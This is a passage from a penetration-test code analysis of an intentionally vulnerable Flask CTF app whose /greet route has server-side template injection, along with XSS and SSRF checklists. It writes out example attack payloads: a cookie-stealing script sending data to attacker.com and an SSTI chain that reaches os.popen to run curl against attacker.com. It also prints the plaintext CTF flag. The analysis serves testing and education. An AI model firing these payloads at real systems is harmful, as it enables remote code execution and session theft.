- **API Documentation:** None (no OpenAPI/Swagger, no API documentation files)
- **Security Documentation:** None (no security.md, no threat model)

**Dependency Management:**
- **requirements.txt:** Pinned versions (Flask==3.0.3, Werkzeug==3.0.3) - good practice
- **No Lock File:** No `requirements.lock`, `poetry.lock`, or `Pipfile.lock` for transitive dependency pinning
- **No Virtual Environment Config:** No `pyproject.toml`, `setup.py`, or package configuration

**Summary:**

This codebase is intentionally minimal, designed as an educational CTF challenge to teach SSTI vulnerability identification. The flat structure with all logic in a single 33-line file makes security analysis straightforward—there are no hidden security components because there are no security components at all. The application prioritizes simplicity for educational purposes over production-grade architecture, security controls, or code organization.

**For penetration testers:** The lack of code complexity means the vulnerability is easily discoverable through manual code review or automated scanning. However, this simplicity should not be mistaken for security—the absence of any defensive mechanisms makes the application trivially exploitable once the SSTI vulnerability is identified.

---

## 8. Critical File Paths

### Configuration
- `.env` - Environment variables containing CTF flag in plaintext
- `docker-compose.yml` - Container orchestration with FLAG passed as build argument
- `app/Dockerfile` - Container build configuration writing FLAG to `/tmp/flag`
- `benchmark.json` - CTF challenge metadata and benchmark configuration

### Authentication & Authorization
**N/A - No authentication or authorization mechanisms implemented**

### API & Routing
- `app/app.py` - Main Flask application with all route handlers
  - Lines 5-24: `/` route (index page)
  - Lines 26-30: `/greet` route (SSTI vulnerability)
  - Line 33: Application entry point

### Data Models & DB Interaction
**N/A - No database or data models**

### Dependency Manifests
- `app/requirements.txt` - Python dependencies (Flask==3.0.3, Werkzeug==3.0.3)

### Sensitive Data & Secrets Handling
- `.env:1` - FLAG environment variable in plaintext
- `app/Dockerfile:7-8` - FLAG written to `/tmp/flag` during build
- `/tmp/flag` (container filesystem) - Final flag storage location

### Middleware & Input Validation
**N/A - No middleware or input validation implemented**

### Logging & Monitoring
**N/A - Only default Werkzeug access logging to stdout**

### Infrastructure & Deployment
- `app/Dockerfile` - Container build definition (python:3.9-slim base)
- `docker-compose.yml` - Service definition with health check
- `Makefile` - Build automation (build, up, down, logs, clean targets)
- **No Nginx/Ingress Configuration:** No reverse proxy or API gateway configuration found
- **No Kubernetes Manifests:** No `kubernetes/` directory or deployment YAML files

### CTF Flag Storage
- `.env:1` - `FLAG="flag{5e88d1bf-228f-4335-a4da-96517cb69114}"`
- `app/Dockerfile:8` - `RUN echo $FLAG > /tmp/flag`
- `/tmp/flag` (container) - Final flag file location (exploitable via SSTI)
- Git repository history - `.env` file committed in initial checkpoint (commit f568f355)

---

## 9. XSS Sinks and Render Contexts

### Network Surface Focus

This analysis focuses exclusively on **network-accessible components** that can be reached via HTTP requests to the deployed Flask application. Local-only scripts, build tools, and developer utilities are excluded.

### XSS Vulnerability Classification

**Finding:** This application has **NO traditional client-side XSS vulnerabilities** in the conventional sense. However, the **Server-Side Template Injection (SSTI) vulnerability can be leveraged to inject arbitrary HTML and JavaScript** into responses, effectively achieving XSS as a consequence of server-side code execution.

**Critical Distinction:**
- **Traditional XSS:** Client-side injection where malicious JavaScript is executed in the victim's browser due to insufficient output encoding
- **SSTI-Enabled XSS:** Server-side template code execution that can generate arbitrary HTML/JavaScript responses, effectively achieving XSS as a side effect of RCE

### SSTI as XSS Vector

**Vulnerable Endpoint:** `/greet` (`app/app.py:26-30`)

**SSTI Exploitation for XSS:**

While the primary impact of SSTI is Remote Code Execution (RCE) and server compromise, an attacker can also use it to inject malicious HTML/JavaScript that will be rendered in victims' browsers:

**Example 1: Simple Script Injection**
```
GET /greet?name=<script>alert('XSS')</script>
Response: Hello, <script>alert('XSS')</script>!
Browser: Executes alert dialog
```

**Example 2: Cookie Theft (if cookies existed)**
```
GET /greet?name=<script>document.location='http://attacker.com/?c='+document.cookie</script>
```

**Example 3: DOM Manipulation**
```
GET /greet?name=<img src=x onerror="document.body.innerHTML='<h1>Hacked</h1>'">
```

**Example 4: SSTI-Based XSS**
```
GET /greet?name={{''|safe}}<script>alert('SSTI-XSS')</script>
Response: Server-side template injection generates malicious JavaScript
```

### Render Context Analysis by Category

#### HTML Body Context

**Status:** ⚠️ **INDIRECTLY VULNERABLE via SSTI**

**Sinks That Would Be Vulnerable (Not Present in Code):**
- `element.innerHTML` - Not used (no client-side JavaScript)
- `element.outerHTML` - Not used
- `document.write()` - Not used
- `document.writeln()` - Not used
- `element.insertAdjacentHTML()` - Not used
- `Range.createContextualFragment()` - Not used

**Actual Vulnerability:**
The application uses `render_template_string()` which renders directly to the response body. The SSTI vulnerability allows arbitrary HTML injection:

**Location:** `app/app.py:30`
```python
return render_template_string(template)  # Renders to response body
```

**Exploitation:**
```
GET /greet?name=<h1>Injected HTML</h1><script>alert('XSS')</script>
Response body: Hello, <h1>Injected HTML</h1><script>alert('XSS')</script>!
```

#### HTML Attribute Context

**Status:** ✅ **NOT VULNERABLE** (No Dynamic Attributes)

The application does not dynamically generate HTML attributes from user input. The only HTML in the application is:
1. Static HTML form in `/` endpoint (no user input interpolation)
2. Dynamically rendered template in `/greet` endpoint (vulnerable to SSTI, not traditional attribute XSS)

**Attribute Sinks Checked (Not Found):**
- Event handlers: `onclick`, `onerror`, `onmouseover`, `onload`, `onfocus` - Not dynamically generated from user input
- URL attributes: `href`, `src`, `formaction`, `action`, `background`, `data` - Not dynamically generated
- Style attribute: `style` - Not dynamically generated
- Iframe `srcdoc` - Not used

#### JavaScript Context

**Status:** ✅ **NOT VULNERABLE** (No Client-Side JavaScript)

The application has **no client-side JavaScript** whatsoever. The static HTML form in the `/` endpoint contains no `<script>` tags or inline JavaScript.

**JavaScript Sinks Checked (Not Found):**
- `eval()` - Not used in any client-side JavaScript (no JS exists)
- `Function()` constructor - Not used
- `setTimeout(string)` - Not used
- `setInterval(string)` - Not used
- Direct script tag injection - Possible via SSTI, but server-side generation

**Note:** The SSTI vulnerability allows server-side Python `eval()` execution, but this is RCE, not client-side JavaScript execution.

#### CSS Context

**Status:** ✅ **NOT VULNERABLE** (No Dynamic CSS)

The application does not generate dynamic CSS from user input.

**CSS Sinks Checked (Not Found):**
- `element.style` properties - No client-side JavaScript to manipulate styles
- `<style>` tag with user input - Not generated
- CSS `url()` with user input - Not used
- `@import` with user input - Not used

#### URL Context

**Status:** ✅ **NOT VULNERABLE** (No Client-Side Redirects)

The application does not perform client-side URL manipulation or redirects.

**URL Sinks Checked (Not Found):**
- `location.href` assignment - No client-side JavaScript
- `location.replace()` - Not used
- `location.assign()` - Not used
- `window.open()` - Not used
- `history.pushState()` - Not used
- `history.replaceState()` - Not used
- Server-side `redirect()` - Not used (Flask redirect function never called)

### jQuery Sinks

**Status:** ✅ **NOT APPLICABLE** (jQuery Not Used)

The application does not include jQuery or use any jQuery methods.

**jQuery Sinks Checked (Not Found):**
- `$().add()`, `$().after()`, `$().append()`, `$().before()`, `$().html()`, `$().prepend()`, `$().replaceWith()`, `$().wrap()` - None used
- `$(userInput)` selector injection - Not applicable (no jQuery)

### Summary of XSS Findings

**Total Traditional XSS Vulnerabilities: 0**

**However:**
- **Server-Side Template Injection can achieve XSS effects** through HTML/JavaScript injection in rendered responses
- The vulnerability is **server-side** (SSTI), not client-side (XSS), but has XSS-like impacts
- No traditional XSS vectors exist because:
  - No client-side JavaScript code
  - No dynamic HTML attribute generation
  - No client-side DOM manipulation
  - No URL-based redirects

**Primary Vulnerability:**
- **Type:** Server-Side Template Injection (SSTI)
- **Location:** `app/app.py:28-30`
- **Impact:** Remote Code Execution (RCE) + HTML/JavaScript injection as side effect
- **Severity:** CRITICAL

**Recommendation:** While this is technically SSTI rather than XSS, the remediation is the same: never use `render_template_string()` with user-controlled input. Use parameterized templates with auto-escaping instead.

---

## 10. SSRF Sinks

### Network Surface Focus

This analysis focuses exclusively on **network-accessible components** that can be reached via HTTP requests to the deployed Flask application. Local-only scripts, build tools, and developer utilities are excluded.

### SSRF Vulnerability Assessment

**Finding:** After comprehensive analysis across all 13 SSRF vulnerability categories, **ZERO Server-Side Request Forgery (SSRF) vulnerabilities were identified** in this Flask application.

**Root Cause:** The application **does not make any outbound HTTP requests, network connections, or fetch remote resources** of any kind. It is purely a request-response application that renders templates and returns responses without initiating server-side requests.

### Analysis by SSRF Category

#### 1. HTTP(S) Clients

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- `requests` library - ❌ Not imported, not used
- `urllib`, `urllib2`, `urllib3` - ❌ Not imported
- `http.client` - ❌ Not imported
- `aiohttp`, `httpx` - ❌ Not imported

**Code Analysis:**
```python
# app/app.py imports (lines 1-2):
from flask import Flask, request, render_template_string
# NO HTTP client libraries imported
```

**Conclusion:** No HTTP client functionality exists in the application.

#### 2. Raw Sockets & Connect APIs

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- `socket.socket()` - ❌ Not used
- `socket.connect()` - ❌ Not used
- Network connection APIs - ❌ Not present

**Conclusion:** No raw socket operations or network connections initiated.

#### 3. URL Openers & File Includes

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- `open()` with URLs - ❌ Not used (no file operations at all)
- `urllib.urlopen()` - ❌ Not used
- File operations with remote paths - ❌ Not used

**Conclusion:** Application performs no file operations, local or remote.

#### 4. Redirect & "Next URL" Handlers

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- Flask `redirect()` function - ❌ Never called in code
- `Location` header manipulation - ❌ Not present
- `return_url`, `next_url`, `callback_url` parameters - ❌ Not accepted

**Code Analysis:**
```python
# app/app.py - Only parameters accepted:
# Line 28: request.args.get('name', '')
# No URL parameters accepted, no redirects performed
```

**Conclusion:** No redirect functionality exists.

#### 5. Headless Browsers & Render Engines

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- Puppeteer, Playwright, Selenium - ❌ Not installed, not used
- HTML-to-PDF converters (wkhtmltopdf) - ❌ Not installed
- Server-side rendering with external content - ❌ Not implemented

**Conclusion:** No browser automation or PDF generation functionality.

#### 6. Media Processors

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- PIL/Pillow - ❌ Not installed, not used
- ImageMagick, GraphicsMagick - ❌ Not installed
- FFmpeg - ❌ Not installed
- Image processing with URLs - ❌ Not implemented

**Conclusion:** No image or media processing functionality.

#### 7. Link Preview & Unfurlers

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- URL metadata extraction - ❌ Not implemented
- Open Graph fetchers - ❌ Not present
- Link preview generators - ❌ Not present

**Conclusion:** No link preview or metadata fetching functionality.

#### 8. Webhook Testers & Callback Verifiers

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- "Ping webhook" functionality - ❌ Not implemented
- Callback URL validation - ❌ Not implemented
- Health check notifications to external URLs - ❌ Not implemented

**Note:** Docker Compose health check uses local `curl`, not application code:
```yaml
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost:5000/"]
```
This is **out-of-scope** as it's container orchestration, not application logic.

**Conclusion:** No webhook or callback functionality in application.

#### 9. SSO/OIDC Discovery & JWKS Fetchers

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- OpenID Connect discovery - ❌ Not implemented
- JWKS (JSON Web Key Set) fetching - ❌ Not implemented
- OAuth metadata retrieval - ❌ Not implemented

**Conclusion:** No SSO, OAuth, or OIDC integration.

#### 10. Importers & Data Loaders

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- "Import from URL" functionality - ❌ Not implemented
- RSS/Atom feed readers - ❌ Not implemented
- Remote configuration loading - ❌ Not implemented

**Conclusion:** No data import or feed reading functionality.

#### 11. Package/Plugin Installers

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- "Install from URL" features - ❌ Not implemented
- Remote package fetching - ❌ Not implemented
- Update mechanisms - ❌ Not implemented

**Conclusion:** No plugin or package installation functionality.

#### 12. Monitoring & Health Check Frameworks

**Status:** ✅ **NO SSRF VULNERABILITIES IN APPLICATION CODE**

**Application Code:** No monitoring, health check, or URL pinging functionality in `app/app.py`

**Docker Orchestration (Out-of-Scope):**
```yaml
# docker-compose.yml health check (NOT application code)
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost:5000/"]
```
This is container-level health checking, not application logic accessible via HTTP API.

**Conclusion:** No application-level monitoring or health check functionality that could be exploited for SSRF.

#### 13. Cloud Metadata Helpers

**Status:** ✅ **NO SSRF VULNERABILITIES**

**Checked Patterns:**
- AWS/GCP/Azure metadata API calls - ❌ Not implemented
- Instance metadata access (169.254.169.254) - ❌ Not attempted
- Container orchestration API usage - ❌ Not implemented

**Conclusion:** No cloud metadata access functionality.

### Verification Methods

**Static Code Analysis:**
- ✅ Full Abstract Syntax Tree (AST) parsing of `app/app.py`
- ✅ Import statement analysis (only Flask imports found)
- ✅ Function call analysis (no HTTP client calls)
- ✅ Dependency review (`requirements.txt` contains only Flask/Werkzeug)

**Pattern Matching:**
- ✅ Searched for 50+ SSRF-related function names and patterns
- ✅ Searched for URL parameter names (`url`, `callback`, `webhook`, `link`, `fetch`)
- ✅ Searched for HTTP client method names (`get`, `post`, `request`, `fetch`, `urlopen`)

**File System Analysis:**
- ✅ Verified no additional Python files exist beyond `app.py`
- ✅ Confirmed no hidden modules or packages
- ✅ Reviewed Dockerfile and docker-compose.yml for external network access patterns

### Conclusion: No SSRF Attack Surface

**Summary:** This Flask application has **ZERO SSRF vulnerabilities** because it does not perform any server-side requests, network connections, or remote resource fetching. The application is purely a request-response handler that renders templates without making outbound network calls.

**Why SSRF is Not Applicable:**
- No HTTP client libraries imported or used
- No URL parameters accepted or processed
- No external service integrations
- No webhook, callback, or redirect functionality
- No file fetching from remote sources
- No cloud API or metadata access

**Primary Vulnerability:** While SSRF is not present, the **Server-Side Template Injection (SSTI)** vulnerability at `app/app.py:28-30` is far more severe, providing Remote Code Execution (RCE) rather than just SSRF. An attacker can leverage SSTI to execute arbitrary Python code, which could theoretically include making HTTP requests by importing libraries like `requests` at runtime through template injection, but this would be classified as RCE, not SSRF.

**SSTI-Enabled SSRF (Theoretical):**
While not a traditional SSRF vulnerability, an attacker could potentially use SSTI to execute Python code that makes HTTP requests:

```python
# Theoretical SSTI payload to make HTTP request:
GET /greet?name={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://attacker.com').read()}}
```

However, this is **Remote Code Execution (RCE)** with SSRF as a consequence, not a standalone SSRF vulnerability. The root cause is SSTI/RCE, and the remediation is fixing the SSTI vulnerability, not implementing SSRF protections.

---

**END OF CODE ANALYSIS DELIVERABLE**